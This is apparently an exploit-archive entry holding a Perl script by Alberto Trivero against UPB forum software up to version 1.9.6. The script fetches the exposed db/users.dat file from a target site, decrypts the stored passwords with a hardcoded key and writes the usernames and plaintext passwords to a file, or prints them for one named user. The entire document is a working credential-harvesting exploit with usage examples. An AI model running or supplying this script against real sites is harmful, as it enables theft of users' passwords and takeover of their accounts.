Passwords Decrypter for UPB <= 1.9.6

[Alberto Trivero]

#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Related advisory:
http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero

use Getopt::Std;
use LWP::Simple;
getopt('hfu');

print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t= by Alberto Trivero =\n";
print "\t========================================\n\n";

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u
[username]]\n\n";
print "Examples:\nperl $0 -h http://www.example.com/upb/ -f
results.txt\n";
print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
exit(0);
}

$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaom owpkfvmmogbayankrnrh
mbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkos hhrtfsssmcfzuffzsfxdwupkzv
qnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqg gccl";
$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);

if($opt_f) {
open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
print RESULTS "Results for $opt_h\n","="x40,"\n\n";
for($in=0;$in<@page;$in++) {
$page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
$page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password:
$1\n";
&decrypt;
print RESULTS "Decrypted Password: $crypt\n\n";
$crypt="";
}
close(RESULTS);
print "[+] Results printed correct in: $opt_f\n";
}

if($opt_u) {
for($in=0;$in<@page;$in++) {
if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
print "[+] Username: $opt_u\n";
print "[+] Crypted Password: $1\n";
&decrypt;
print "[+] Decrypted Password: $crypt\n";
exit(0);
}
}
print "[-] Username '$opt_u' doesn't exist\n";
}

sub decrypt {
for($i=0;$i<length($1);$i++) {
$i_key=ord(substr($key, $i, 1));
$i_text=ord(substr($1, $i, 1));
$n_key=ord(substr($key, $i+1, 1));
$i_crypt=$i_text + $n_key;
$i_crypt-=$i_key;
$crypt.=chr($i_crypt);
}
}